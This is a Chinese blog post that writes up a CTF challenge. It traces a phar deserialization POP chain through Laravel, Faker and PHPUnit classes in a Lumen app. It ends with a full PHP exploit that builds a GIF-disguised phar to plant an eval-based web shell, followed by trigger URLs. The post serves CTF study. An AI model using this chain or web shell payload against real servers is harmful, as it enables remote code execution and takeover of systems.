Xi4or0uji's blog

code breaking lumenserial

字数统计: 999阅读时长: 4 min
2019/03/25 Share

小菜鸡太菜了,只能复现

题目

先审计源码,可以看到EditorController.php有个download函数

1
2
3
4
5
6
7
8
9
10
11
12
13
private function download($url){
$maxSize = $this->config['catcherMaxSize'];
$limitExtension = array_map(function ($ext) {
return ltrim($ext, '.');
}, $this->config['catcherAllowFiles']);
$allowTypes = array_map(function ($ext) {
return "image/{$ext}";
}, $limitExtension);

$content = file_get_contents($url);
$img = getimagesizefromstring($content);
......
}

可以看到这个函数里面有个file_get_contents函数,通过get方法传进去一个url,而且这个参数完全可控,因此我们可以利用它进行phar反序列化操作,而且文件上传的点还很容易找到,能直接上传图片。
但是有个注意的是,php的版本是7.2,8能动态调用assert函数,还禁用了很多系统函数system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log,因此反序列化难度+++

分析

找pop链
PendingBroadcast

先看illuminate/boradcasting/PendingBroadcast.php这个文件

1
2
3
public function __destruct(){
$this->events->dispatch($this->event);
}

可以通过这个方法将一些类的__call方法调用出来

ValidGenerator

faker/src/Facker/ValidGenerator.php里面有个__call方法,这个方法里面调用了两个动态调用函数

1
2
3
4
5
6
7
8
9
10
11
public function __call($name, $arguments){
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
return $res;
}

这个类里面传进去的name参数是不可控的,因此我们第一次调用$res = call_user_func_array(array($this->generator, $name)并不能如我们所愿实现任意命令,但是我们可以找到一个类,使上面调用的出来的结果可控,从而在第二次调用call_user_func($this->validator, $res)的时候实现控制。而且,name的值就是dispatch,由于在call_user_func_array里面,generator类中没有定义dispatch函数,因此会自动调用__call函数

Generator

fzaninotto/faker/src/Faker/Generator.php先看__call函数

1
2
3
public function __call($method, $attributes){
return $this->format($method, $attributes);
}

跟进去format函数

1
2
3
public function format($formatter, $arguments = array()){
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

formatter参数8可控,继续跟

1
2
3
4
5
public function getFormatter($formatter){
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
...

好了,这里我们能看到他的return值是一个数组的值,因此,我们先让第一次$this->getFormatter($formatter)返回的值是一个数组,数组值为getFormatter,然后由于call_user_func_array,他会再调用一次getFormatter方法,参数为空,而这个方法传空值时,就会返回第一个formatters成员的值

StaticInvocation

接下来最后一步就是要找一个比较好的类了
phpunit\src\Framework\MockObject\Stub\ReturnCallback.php里面看invoke函数

1
2
3
public function invoke(Invocation $invocation){
return \call_user_func_array($this->callback, $invocation->getParameters());
}

invoke方法调用了call_user_func_array而且里面的两个参数都是反序列化的时候可以控制的,Invocation只是一个接口,找到那个类就能利用了
找下类的方法

1
2
3
4
5
6
class StaticInvocation implements Invocation, SelfDescribing{

public function getMethodName(): string{
return $this->methodName;
}
}

利用这个返回回到ValidGenreator中利用call_user_func就能成功完成攻击了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
/**
* Created by PhpStorm.
* User: Ariel
* Date: 2019/4/8
* Time: 20:42
*/

namespace Illuminate\Broadcasting{
class PendingBroadcast{
function __construct(){
$this->events = new \Faker\ValidGenerator();
$this->event = 'Ariel';
}
}
}

namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation{
function __construct(){
$this->parameters = array('/var/www/html/upload/a.php','<?php phpinfo();eval($_POST["a"]);?>');
}
}
}

namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback{
function __construct(){
$this->callback = 'file_put_contents';
}
}
}

namespace Faker{
class ValidGenerator{
function __construct(){
$si = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation();
$g1 = new \Faker\Generator(array('Ariel' => $si ));
$g2 = new \Faker\Generator(array("dispatch" => array($g1, "getFormatter")));

$rc = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();

$this->validator = array($rc, "invoke");
$this->generator = $g2;
$this->maxRetries = 10000;
}
}

class Generator{
function __construct($form){
$this->formatters = $form;
}
}

}

namespace{
$exp = new Illuminate\Broadcasting\PendingBroadcast();
echo (urlencode(serialize($exp)));

// phar
$p = new Phar('./a.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($exp);
$p->addFromString('1.txt','text');
$p->stopBuffering();
}

上传图片然后访问http://xiaorouji.cn:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/843ac0c4952e20f0d95d1651b86d6792/201904/10/00c7ab10a3e36d18dd9d.gif去触发反序列化
接着访问http://xiaorouji.cn:8080/upload/a.php,成功getshell

参考kk师傅的博客

CATALOG
  1. 1. 题目
  2. 2. 分析
    1. 2.1. 找pop链
      1. 2.1.1. PendingBroadcast
      2. 2.1.2. ValidGenerator
      3. 2.1.3. Generator
      4. 2.1.4. StaticInvocation
  3. 3. exp